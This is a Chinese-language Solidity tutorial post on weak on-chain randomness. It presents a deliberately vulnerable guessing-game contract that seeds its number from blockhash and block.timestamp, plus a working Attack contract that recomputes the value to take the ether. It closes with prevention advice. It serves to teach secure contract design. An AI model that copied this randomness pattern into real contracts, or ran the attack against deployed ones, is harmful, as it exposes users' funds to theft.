3分钟Solidity: 11.6 随机性的来源

29 阅读1分钟

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的随机性来源(代码示例)

漏洞

blockhash和 block.timestamp并非可靠的随机性来源。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
注意:在Remix中无法使用blockhash,因此请使用ganache-cli
npm i -g ganache-cli
ganache-cli
在Remix中将环境切换为Web3提供者
*/

/*
猜随机数是一款游戏,如果你能猜中由区块哈希和时间戳生成的伪随机数,就能赢得1个以太币。

乍一看,似乎不可能猜出正确的数字。
但让我们看看赢起来有多容易。

1.  Alice 部署 GuessTheRandomNumber 并投入 1 以太币
2.  Eve 部署 Attack
3.  Eve 调用 Attack.attack() 并赢得 1 以太币

发生了什么?
Attack 只是通过复制计算随机数的代码就计算出了正确答案。
*/

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint256 _guess) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );

        if (_guess == answer) {
            (bool sent,) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );

        guessTheRandomNumber.guess(answer);
    }

    // 用于检查余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

预防性技术

  • 不要使用 blockhash和 block.timestamp作为随机性的来源

Remix Lite 尝试一下